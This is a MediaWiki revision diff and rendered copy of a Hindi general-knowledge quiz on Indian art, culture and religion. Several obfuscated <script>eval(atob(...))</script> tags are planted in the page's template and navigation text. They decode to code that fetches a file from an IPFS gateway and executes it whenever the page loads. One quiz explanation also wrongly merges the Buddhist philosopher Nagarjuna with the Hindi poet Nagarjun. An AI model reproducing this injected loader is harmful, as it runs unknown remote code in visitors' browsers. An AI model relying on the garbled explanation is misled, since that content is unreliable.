Difference between revisions of "कला-संस्कृति और धर्म सामान्य ज्ञान 18"

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<quiz display=simple>
 
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{ 'मृदंग केसरी' किसे कहा जाता है?
+
 
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{निम्नलिखित में से कौन-सा एक देवनृत्य है?
 
|type="()"}
 
|type="()"}
-ठाकुर भीकम सिंह
+
-[[कथकली]]
-पालधार रघु
+
-मोहिनीअट्टम
-सखा राम
+
+[[कुचिपुड़ि नृत्य]]
+नान साहब पानसे
+
-[[भांगड़ा]]
 +
||[[चित्र:Kuchipudi-Dance.jpg|कुची पुडी नृत्य, आंध्र प्रदेश|100px|right]] कुचीपुडी नृत्‍य का सबसे अधिक लोकप्रिय रूप मटका नृत्‍य है जिसमें एक नर्तकी मटके में पानी भर कर और उसे अपने सिर पर रखकर पीतल की थाली में पैर जमा कर नृत्‍य करती है। वह पीतल की थाली पर नियंत्रण रखते हुए पूरे मंच पर नृत्‍य करती है और इस पूरे संचलन के दौरान श्रोताओं को चकित कर देने के लिए उसके मटके से पानी की एक बूंद भी नहीं गिरती है।{{point}} अधिक जानकारी के लिए देखें:-[[कुचिपुड़ि नृत्य]]
  
{ [[संगीत]] में प्रयुक्त 'धैवत स्वर' से किस [[देवता]] का बोध होता है?
+
{कीर्तन परम्परा का जन्मदाता किसे कहा जाता है?
 
|type="()"}
 
|type="()"}
-[[अग्नि]]
+
-[[मीराबाई]]  
+[[गणेश]]
+
-[[सूरदास]]
-[[लक्ष्मी]]
+
+[[चैतन्य महाप्रभु]]
-[[सरस्वती]]
+
-[[संत ज्ञानेश्वर]]  
||[[चित्र:Ganesha.jpg|right|120px|गणेश]]गणेश और [[हनुमान]] ही [[कलि युग]] के ऐसे [[देवता]] हैं, जो अपने [[भक्त|भक्तों]] से कभी रुठते नहीं, अत: इनकी आराधना करने वालों से ग़लतियाँ भी होती हैं, तो वह क्षम्य होती हैं। भगवान [[गणेश]] [[संगीत]] के [[स्वर (संगीत)|स्वर]] 'धैवत' से भी मुख्य रूप से जुड़े हुए हैं। गणेश जी ही ऐसे देवता हैं, जिनकी [[पूजा]] घास-फूस अपितु पेड़-पौधों की पत्तियों से भी करके उनका आशीर्वाद प्राप्त किया जा सकता है। इनकी [[पूजा]] के लिए इनके प्रधान 21 नामों से 21 पत्ते अर्पण करने का विधान मिलता है।{{point}}अधिक जानकारी के लिए देखें:-[[गणेश]]
+
||[[चित्र:Chetanya-Mahaprabhu.jpg|चैतन्य महाप्रभु|100px|right||]] चैतन्य महाप्रभु भगवान [[श्रीकृष्ण]] के प्रति इनकी अनन्य निष्ठा व विश्वास के कारण इनके असंख्य अनुयायी हो गए। सर्वप्रथम नित्यानंद प्रभु व अद्वैताचार्य महाराज इनके शिष्य बने। इन दोनों ने निमाई के [[भक्ति आंदोलन]] को तीव्र गति प्रदान की। निमाई ने अपने इन दोनों शिष्यों के सहयोग से [[ढोल|ढोलक]], [[मृदंग]], [[झांझ|झाँझ]], [[मंझीरा|मंजीरे]] आदि वाद्य यंत्र बजाकर व उच्च स्वर में नाच-गाकर हरि नाम संकीर्तन करना प्रारंभ किया। 'हरे-कृष्ण, हरे-कृष्ण, कृष्ण-कृष्ण, हरे-हरे। हरे-राम, हरे-राम, राम-राम, हरे-हरे` नामक अठारह शब्दीय कीर्तन महामन्त्र निमाई की ही देन है।{{point}}अधिक जानकारी के लिए देखें:-[[चैतन्य महाप्रभु]]
  
{ पंडित विश्व मोहन भट्ट ने किस [[वाद्य यंत्र]] की खोज की है?
+
{किस वैदिक ग्रंथ में जादू-टोनों का वर्णन मिलता है?
 
|type="()"}
 
|type="()"}
-[[वीणा]]
+
-[[ऋग्वेद]]
-[[सितार]]
+
-[[यजुर्वेद]]
-सरोद
+
-[[सामवेद]]
+मोहन वीणा
+
+[[अथर्ववेद]]
 +
||[[चित्र:Atharvaveda.jpg|अथर्ववेद|100px|right]]अथर्ववेद में कुल 20 काण्ड, 730 सूक्त एवं 5987 मंत्र हैं। जादू से सम्बन्धित मन्त्र-तन्त्र, राक्षस, पिशाच, आदि भयानक शक्तियाँ अथर्ववेद के महत्त्वपूर्ण विषय हैं। इसमें भूत-प्रेत, जादू-टोने आदि के मन्त्र हैं।{{point}}अधिक जानकारी के लिए देखें:-[[अथर्ववेद]]
  
{ [[बिहार]] के प्रसिद्ध [[तबला]] वादक 'निदेश पाण्डेय' के गुरु का नाम क्या है?
+
{[[जैन साहित्य]] को क्या कहा जाता है?
 
|type="()"}
 
|type="()"}
-[[उस्ताद ज़ाकिर हुसैन]]
+
+[[आगम]]  
+पंडित कपिल देव सिंह
+
-पिटक
-[[भीमसेन जोशी]]
+
-[[कल्प]]
-[[बिरजू महाराज]]
+
-सुत्त
 +
||भगवान [[महावीर]] के उपदेश [[जैन|जैन धर्म]] के मूल सिद्धान्त हैं, जिन्हें 'आगम' कहा जाता है। वे अर्धमागधी [[प्राकृत]] भाषा में हैं। उन्हें आचारांगादि बारह 'अंगों' में संकलित किया गया, जो 'द्वादशंग आगम' कहे जाते हैं।{{point}}अधिक जानकारी के लिए देखें:-[[आगम]]
  
{ [[संगीत]] में पंचम [[स्वर (संगीत)|स्वर]] किस पशु/पक्षी का द्योतक है?
+
{निम्नलिखित में से किस त्योहार पर [[सूर्य]] की पूजा जाती है?
 
|type="()"}
 
|type="()"}
-[[मयूर]]
+
-बुद्ध पूर्णिमा
-[[हाथी]]
+
-[[होली]]
-[[बाघ]]
+
+[[छठ पूजा]]
+कोयल
+
-[[दीपावली]]  
 +
|| [[चित्र:Chhath-Puja.jpg|100px|right|छठ पूजा]] [[दीपावली]] के एक सप्ताह पश्चात् [[बिहार]] में छठ का पर्व मनाया जाता है। एक दिन व रात तक समूचा बिहार व पूर्वी [[उत्तर प्रदेश]] [[गंगा]] के तट पर बसा प्रतीत होता है। इस दिन [[सूर्यदेव]] की उपासना व उन्हें अर्ध्य दिया जाता है। {{point}}अधिक जानकारी के लिए देखें:-[[छठ पूजा]]
  
{ प्रसिद्ध पुस्तक 'राग विबोध' के रचयिता कौन हैं?
+
{[[दिल्ली]] स्थित [[लोटस टैंपल]] किस धर्म से सम्बन्धित है?
 
|type="()"}
 
|type="()"}
-पंडित अहोबल
+
-[[यहूदी धर्म|यहूदी]]
+पंडित सोमनाथ
+
-[[पारसी धर्म|पारसी]]
-पंडित व्यंकटमुखी
+
+बहाई
-पंडित ओंकारनाथ ठाकुर
+
-[[हिन्दू धर्म|हिन्दू]]
  
{ ‘संगीत भारती’ नामक [[संगीत]] शिक्षण संस्थान कहाँ पर है?
+
{कौन-सा स्थान 'भारत का स्विट्जरलैंड' कहलाता है?
 
|type="()"}
 
|type="()"}
-[[अजमेर]]
+
+कौसानी
-[[जयपुर]]
+
-कोडागू
+[[बीकानेर]]
+
-[[ऊटी]]  
-[[दिल्ली]]
+
-मोरांग
||[[चित्र:Junagarh-Fort-Bikaner.jpg|right|120px|जूनागढ़ क़िला, बीकानेर]]बीकानेर [[जोधपुर]], [[जयपुर]], [[दिल्ली]], [[नागौर]] और [[गंगानगर]] से रेलमार्ग और सड़क मार्ग द्वारा जुड़ा हुआ है। ज़िले की सीमा जहाँ चूरू, नागौर, गंगानगर, [[हनुमानगढ़]], जोधपुर व [[जैसलमेर]] की सीमा को छूती है। [[बीकानेर]] के महाविद्यालय (मेडिकल स्कूल और शिक्षण प्रशिक्षण संस्थान सहित) 'राजस्थान विश्वविद्यालय' से संबद्ध हैं। यहाँ का 'संगीत भारती' नामक शिक्षण संस्थान मुख्य रूप से उल्लेखनीय है। जिसके द्वारा प्रतिवर्ष हज़ारों विद्यार्थियों को [[संगीत]] की शिक्षा दी जाती है।{{point}}अधिक जानकारी के लिए देखें:-[[बीकानेर]]
 
  
{ [[भारत]] का राष्ट्रीय [[वाद्य यंत्र]] कौन-सा है?
+
{[[भारत]] में रेडियो प्रसारण का प्रारम्भ किस वर्ष हुआ?
 
|type="()"}
 
|type="()"}
-[[वीणा]]
+
-1930 ई.
+[[सितार]]
+
+1927 ई.
-[[बाँसुरी]]
+
-1935 ई.
-[[तबला]]
+
-1936 ई.
||[[चित्र:Sitar.jpg|right|120px|सितार]][[सितार]] परंपरिक [[वाद्य यंत्र]] होने के साथ ही सबसे अधिक लोकप्रिय भी है, और सितार ऐसा वाद्य यंत्र है, जिसने पूरी दुनिया में [[भारत]] का नाम लोकप्रिय किया है। सितार को भारत का राष्ट्रीय '''वाद्य यंत्र''' होने का गौरव भी प्राप्त है। सितार बहुआयामी साज होने के साथ ही एक ऐसा वाद्य यंत्र है, जिसके ज़रिये भावनाओं को प्रकट किया जाता हैं।{{point}}अधिक जानकारी के लिए देखें:-[[गणेश]]
 
  
{ [[सितार]] में कितने तार होते हैं?
+
{शून्यवाद का प्रवर्तक किसे कहा जाता हैं?
 
|type="()"}
 
|type="()"}
-पाँच
+
-मैत्रेयनाथ
-छ:
+
-[[माध्वाचार्य]]
+सात
+
-[[रामानुज]]
-चार
+
+[[नागार्जुन]]
 +
||[[चित्र:Nagarjun.jpg|नागार्जुन|100px|right]]शून्यवाद के रूप में नागार्जुन का नाम विशेष उल्लेखनीय है। नागार्जुन का असली नाम वैद्यनाथ मिश्र था। [[हिन्दी]] साहित्य में उन्होंने 'नागार्जुन' तथा [[मैथिली भाषा|मैथिली]] में 'यात्री' उपनाम से रचनाएँ कीं।{{point}} अधिक जानकारी के लिए देखें:-[[नागार्जुन]]
  
{ '[[तानपुरा]]' के बीच के स्टील से बने दोनों तारों को क्या कहा जाता है?
+
{[[ईसा मसीह]] का जन्म स्थल है?
 
|type="()"}
 
|type="()"}
-षड़ज का तार
+
+बेथलेहम
-तरब का तार
+
-मेसीडोनिया
-चिकारी का तार
+
-[[बग़दाद]]
+जोड़ी का तार
+
-[[मक्का]]
  
{ [[सितार]] में उपस्थित प्रथम तार को क्या कहा जाता है?
+
{निम्नलिखित में से कौन सा तंत्री वाद्ययंत्र है?
 
|type="()"}
 
|type="()"}
+बोल तार या बाज का तार
+
-[[मृदंग]]
-लरज का तार
+
-[[तबला]]
-जोड़ी का तार
+
+संतूर
-चिकारी का तार
+
-[[शहनाई]]
  
{ [[अरब]] देशों में वायलिन का नाम किस रूप में प्रचलित था?
+
{[[इस्लाम धर्म]] के प्रवर्तक [[मुहम्मद|पैगम्बर मुहम्मद]] का जन्म कहाँ हुआ था?
 
|type="()"}
 
|type="()"}
-[[सारंगी]]
+
-[[मदीना]] में
+रबाब
+
+[[मक्का]] में
-बाहुलिन
+
-[[बग़दाद]] में
-लीरा
+
-तेहरान में
 +
||मक्का [[अरब देश|साउदी अरब]] के हेजाज़ प्रांत की राजधानी एवं [[मुहम्मद|मुहम्मद साहब]] का जन्म स्थान होने के कारण [[मुस्लिम]] जनता का विश्वविख्यात तीर्थस्थान है। यह जिद्दा से 45 मील पूर्व में स्थित है। प्राचीन काल से ही [[धर्म]] तथा व्यापार का केंद्र रहा है।{{point}} अधिक जानकारी के लिए देखें:-[[मक्का]]
  
{ [[चण्डीगढ़]] में कौन-सा [[संगीत]] शिक्षण संस्थान विद्यमान है?
+
{[[राजस्थान]] का प्रमुख लोक नृत्य है?
 
|type="()"}
 
|type="()"}
+प्राचीन कला केन्द्र
+
-[[गरबा नृत्य|गरबा]]
-प्रयाग संगीत समिति
+
-[[गिद्दा नृत्य|गिद्दा]]
-गन्धर्व महाविद्यालय
+
+[[घूमर नृत्य|घूमर]]
-कला संस्थान
+
-[[बिहू नृत्य|बिहू]]
 +
||[[चित्र:Ghoomar-Dance.jpg|घूमर नृत्य, राजस्थान|100px|right]] [[भारत]] में प्रचलित कुछ प्रमुख [[लोक नृत्य]] शैलियों में से एक घूमर नृत्य है। यह [[राजस्थान]] में प्रचलित अत्यंत लोकप्रिय नृत्य है जिसे केवल स्त्रियाँ करती हैं।{{point}} अधिक जानकारी के लिए देखें:-[[घूमर नृत्य|घूमर]]
  
{ किस [[वाद्य यंत्र]] के प्रयोग में 'शीशम' की लकड़ी का अधिक प्रयोग होता है?
+
{'झाल', 'विणाई', 'दमामा', 'मुरयो', क्या है?
 
|type="()"}
 
|type="()"}
-[[हारमोनियम]]
+
-उत्तराखण्ड की नदियाँ
+[[तबला]]
+
+कुमायूँ के वाद्य यंत्र
-गिटार
+
-लद्दाख की पहाड़ी चोटियाँ
-[[तानपुरा]]
+
-गढ़वाल के मन्दिर
||[[चित्र:Zakir-Hussain.jpg|right|100px|ज़ाकिर हुसैन]]आधुनिक काल में गायन, वादन तथा [[नृत्य कला|नृत्य]] की संगति में तबले का प्रयोग होता है। तबले के दो भागों को क्रमशः '[[तबला]]' तथा 'डग्गा' या 'डुग्गी' कहा जाता है। अधिकांशत: तबले का निर्माण शीशम की लकड़ी से किया जाता है, क्योंकि शीशम की लकड़ी अत्यधिक मजबूत होती है। तबले को बजाने के लिये हथेलियों तथा हाथ की उंगलियों का प्रयोग किया जाता है। तबले के द्वारा अनेकों प्रकार के बोल निकाले जाते हैं।{{point}}अधिक जानकारी के लिए देखें:-[[तबला]]
 
  
{ [[भारत]] में मुख्यत: कितने प्रकार की [[स्वर (संगीत)|स्वर]] [[लिपि]] पद्धतियाँ प्रचलित हैं?
+
{सर्वाधिक लोकप्रिय [[पुराण]] है?
 
|type="()"}
 
|type="()"}
-एक
+
-[[विष्णु पुराण]]
+दो
+
+[[भागवत पुराण]]
-तीन
+
-[[मत्स्य पुराण]]
-चार
+
-[[मार्कण्डेय पुराण]]
 +
||[[चित्र:Cover-Bhagavata-Purana.jpg|श्रीमद्भागवत|100px|right]] 'श्रीमद्भागवत पुराण' हिन्दू समाज का सर्वाधिक आदरणीय [[पुराण]] है। यह [[वैष्णव सम्प्रदाय]] का प्रमुख ग्रन्थ है। इस ग्रन्थ में [[वेद|वेदों]], [[उपनिषद|उपनिषदों]] तथा [[दर्शन शास्त्र]] के गूढ़ एवं रहस्यमय विषयों को अत्यन्त सरलता के साथ निरूपित किया गया है।{{point}}अधिक जानकारी के लिए देखें:-[[भागवत पुराण]]
 
</quiz>
 
</quiz>
 
|}
 
|}

Revision as of 08:53, 23 September 2011

samany jnan prashnottari
rajyoan ke samany jnan

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

  1. REDIRECTsaancha:nila<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>is vishay se sanbandhit lekh padhean:-
  2. REDIRECTsaancha:nila band<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> kala praangan, kala kosh, sanskriti praangan, sanskriti kosh, dharm praangan, dharm kosh<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

panne par jaean

1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | 110 | 111 | 112 | 113 | 114 | 115 | 116 | 117 | 118 | 119 | 120 | 121 | 122 | 123 | 124 | 125 | 126 | 127 | 128 | 129 | 130 | 131 | 132 | 133 | 134 | 135 | 136 | 137 | 138 | 139 | 140 | 141 | 142 | 143 | 144 | 145 | 146 | 147 | 148 | 149 | 150 | 151 | 152 | 153 | 154 | 155 | 156 | 157 | 158 | 159 | 160 | 161 | 162 | 163 | 164 | 165 | 166 | 167 | 168 | 169 | 170 | 171 | 172 | 173 | 174 | 175 | 176 | 177 | 178 | 179 | 180 | 181 | 182 | 183 | 184 | 185 | 186 | 187 | 188 | 189 | 190 | 191 | 192 | 193 | 194 | 195 | 196 | 197 | 198 | 199 | 200 | 201 | 202 | 203 | 204 | 205 | 206 | 207 | 208 | 209 | 210 | 211 | 212 | 213 | 214 | 215 | 216 | 217 | 218 | 219 | 220 | 221 | 222 | 223 | 224 | 225 | 226 | 227 | 228 | 229 | 230 | 231 | 232 | 233 | 234 | 235 | 236 | 237 | 238 | 239 | 240 | 241 | 242 | 243 | 244 | 245 | 246 | 247 | 248 | 249 | 250 | 251 | 252 | 253 | 254 | 255 | 256 | 257 | 258 | 259 | 260 | 261 | 262 | 263 | 264 | 265 | 266 | 267 | 268 | 269 | 270 | 271 | 272 | 273 | 274 | 275 | 276 | 277 | 278 | 279 | 280 | 281 | 282 | 283 | 284 | 285 | 286 | 287 | 288 | 289 | 290 | 291 | 292 | 293 | 294 | 295 | 296 | 297 | 298 | 299 | 300 | 301 | 302 | 303 | 304 | 305 | 306 | 307 | 308 | 309 | 310 | 311 | 312 | 313 | 314 | 315 | 316 | 317 | 318 | 319 | 320 | 321| 322 | 323| 324 | 325 | 326 | 327 | 328 | 329 | 330 | 331 | 332 | 333 | 334 | 335 | 336 | 337 | 338 | 339| 340 | 341 | 342 | 343 | 344 | 345 | 346 | 347 | 348 | 349 | 350 | 351 | 352 | 353 | 354 | 355 | 356 | 357 | 358 | 359 | 360 | 361 | 362 | 363 | 364 | 365 | 366 | 367 | 368 | 369 | '370 | 371 | 372 | 373 | 374 | 375 | 376 | 377 | 378 | 379 | 380 | 381 | 382 | 383 | 384 | 385 | 386 | 387 | 388 | 389 | 390 | 391 | 392 | 393 | 394 | 395 | 396 | 397 | 398 | 399 | 400 | 401 | 402 | 403 | 404 | 405 | 406 | 407 | 408 | 409 | 410 | 411 | 412 | 413 | 414 | 415 | 416 | 417 | 418 | 419 | 420 | 421 | 422 | 423 | 424 | 425 | 426 | 427 | 428 | 429 | 430 | 431 | 432 | 433 | 434 | 435 | 436 | 437 | 438 | 439 | 440 | 441 | 442 | 443 | 444 | 445 | 446 | 447 | 448 | 449 | 450 | 451 | 452 | 453 | 454 | 455 | 456 | 457 | 458 | 459 | 460 | 461 | 462 | 463 | 464 | 465 | 466 | 467 | 468 | 469 | 470 | 471 | 472 | 473 | 474 | 475 | 476

1 nimnalikhit mean se kaun-sa ek devanrity hai?

kathakali
mohiniattam
kuchipu di nrity
bhaang da

2 kirtan parampara ka janmadata kise kaha jata hai?

mirabaee
sooradas
chaitany mahaprabhu
sant jnaneshvar

3 kis vaidik granth mean jadoo-tonoan ka varnan milata hai?

rrigved
yajurved
samaved
atharvaved

4 jain sahity ko kya kaha jata hai?

agam
pitak
kalp
sutt

5 nimnalikhit mean se kis tyohar par soory ki pooja jati hai?

buddh poornima
holi
chhath pooja
dipavali

6 dilli sthit lotas taianpal kis dharm se sambandhit hai?

yahoodi
parasi
bahaee
hindoo

7 kaun-sa sthan 'bharat ka svitjaralaiand' kahalata hai?

kausani
kodagoo
ooti
moraang

8 bharat mean rediyo prasaran ka prarambh kis varsh hua?

1930 ee.
1927 ee.
1935 ee.
1936 ee.

9 shoonyavad ka pravartak kise kaha jata haian?

maitreyanath
madhvachary
ramanuj
nagarjun

10 eesa masih ka janm sthal hai?

bethaleham
mesidoniya
bagadad
makka

11 nimnalikhit mean se kaun sa tantri vadyayantr hai?

mridang
tabala
santoor
shahanaee

12 islam dharm ke pravartak paigambar muhammad ka janm kahaan hua tha?

madina mean
makka mean
bagadad mean
teharan mean

13 rajasthan ka pramukh lok nrity hai?

garaba
gidda
ghoomar
bihoo

14 'jhal', 'vinaee', 'damama', 'murayo', kya hai?

uttarakhand ki nadiyaan
kumayooan ke vady yantr
laddakh ki paha di chotiyaan
gadhaval ke mandir

panne par jaean

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samany jnan prashnottari
rajyoan ke samany jnan

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